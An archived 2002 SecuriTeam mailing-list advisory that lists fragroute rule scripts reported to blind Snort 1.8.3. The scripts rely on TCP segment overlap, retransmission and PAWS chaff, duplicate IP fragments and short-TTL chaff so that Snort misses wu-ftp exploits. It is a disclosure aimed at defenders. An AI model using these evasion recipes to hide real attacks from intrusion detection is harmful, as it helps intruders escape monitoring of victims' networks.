

# [UNIX] Fragroute Provided Scripts Allows to Blindside Snort

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-04/0055.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 04/17/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Wed, 17 Apr 2002 12:23:45 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Fragroute Provided Scripts Allows to Blindside Snort

---

## SUMMARY

<<http://www.monkey.org/~dugsong/fragroute/index.html>> Fragroute intercepts, modifies, and rewrites egress traffic destined for a specified host, implementing most of the attacks described in the Secure Networks "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" paper of January 1998.

It features a simple rule set language to delay, duplicate, drop, fragment, overlap, print, reorder, segment, source-route, or otherwise monkey with all outbound packets destined for a target host, with minimal support for randomized or probabilistic behavior.

The tool can be used to blindside Snort into not detecting the latest wu-ftp exploits when fragroute is executed with the "tcp\_seg 1 new" option turned on. The following is a list of fragroute scripts that can be used to blind Snort into not detecting attacks.

## DETAILS

Working Attacks against snort-1.8.3:

## Securiteam: [UNIX] Fragroute Provided Scripts Allows to Blindside Snort

1. Older TCP retransmission chaff (snort's TCP segment reassembly seems to always favor newer data, even for properly sequenced received data):

```
tcp_seg 1
tcp_chaff retransmit
order random
```

2. Forward TCP segmentation overlap, favoring newer data (both Windows and Unix operate this way, in contrast to Ptacek and Newsham's results):

```
tcp_seg 1 new
```

3. Chaff TCP segments with older TCP timestamp options forcing PAWS elimination:

```
tcp_seg 1
tcp_chaff paws
order random
```

4. Older IP fragment duplicates (Snort's IP fragment reassembly seems to always favor newer data, even for properly sequenced received data):

```
ip_frag 8
ip_chaff dup
order random
```

5. IP duplicate fragment chaff with bad options:

```
ip_frag 8
ip_chaff opt
order random
```

6. Either TCP or IP chaffing with short TTLs (that expire before reaching the end host, but pass by the monitor):

```
ip_frag 8
ip_ttl 11
ip_chaff 10
order random
```

```
tcp_seg 1
ip_ttl 11
tcp_chaff 10
order random
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:0xcafebabe@hushmail.com>>  
0xcafebabe.

=====

## Securiteam: [UNIX] Fragroute Provided Scripts Allows to Blindside Snort

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- *Previous message:* [support@securiteam.com](mailto:support@securiteam.com): "[NT] Windows 2000 microsoft-ds Denial of Service"
  - *Messages sorted by:* [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)